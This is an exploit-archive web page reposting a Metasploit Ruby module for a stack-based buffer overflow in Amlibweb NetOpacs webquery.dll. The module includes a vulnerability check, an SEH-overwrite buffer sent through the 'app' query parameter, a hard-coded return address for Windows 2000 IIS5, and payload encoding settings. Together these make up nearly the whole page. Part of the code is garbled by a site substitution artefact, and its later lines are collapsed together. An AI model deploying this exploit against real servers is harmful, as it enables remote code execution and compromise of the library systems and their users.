首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Amlibweb NetOpacs webquery.dll Stack Overflow(meta)
来源:http://www.metasploit.com 作者:patrick 发布时间:2010-08-06  
##
# $Id: amlibweb_webquerydll_app.rb 9953 2010-08-03 16:17:43Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'         => 'Amlibweb NetOpacs webquery.dll Stack Overflow',
			'Description'  => %q{
					This module exploits a stack overflow in Amlib's Amlibweb
				Library Management System (NetOpacs). The webquery.dll
				API is available through IIS requests. By specifying
				an overly long string to the 'app' parameter, SeH can be
				reliably overwritten allowing for arbitrary remote code execution.
				In addition, it is possible to overwrite EIP by specifying
				an arbitrary parameter name with an '=' terminator.
			},
			'Author'       => [ 'patrick' ],
			'Arch'         => [ ARCH_X86 ],
			'License'      => MSF_LICENSE,
			'Version'      => '$Revision: 9953 
, 'References' => [ [ 'OSVDB', '66814'], [ 'URL', 'http://www.aushack.com/advisories/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!___FCKpd___0quot;, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'DisableNops' => 'True', 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ # patrickw - Tested OK 20100803 w2k IIS5 [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5 # [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only. ], 'DisclosureDate' => 'Aug 03 2010', #0day 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), ],self.class) end def check connect rand = Rex::Text.rand_text_alpha(10) sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n") res = sock.get(-1,3) disconnect if (res =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/) if ($1 == rand) return Exploit::CheckCode::Vulnerable end end Exploit::CheckCode::Safe end def exploit connect seh = generate_seh_payload(target.ret) buffer = Rex::Text.rand_text_alphanumeric(3028) + seh sploit = "GET /amlibweb/webquery.dll?app=" + buffer + " HTTP/1.0\r\n" sock.put(sploit + "\r\n\r\n") handler disconnect end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Table2CSS Denial of Service Po
·Microsoft Windows Shell LNK Co
·Naturpic Video to MP3 Buffer O
·Microsoft Windows win32k.sys D
·Naturpic Video Joiner Buffer O
·Mini-stream Ripper v3.1.2.1 Bu
·Spider player .m3u playlist DO
·Advanced File Vault(eSellerate
·Mediamonkey v. 3.2.1.1297 DOS
·myMP3-Player v3.0 Buffer Overf
·FathFTP 1.8 (FileExists Method
·ffdshow Video Codec Denial of
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved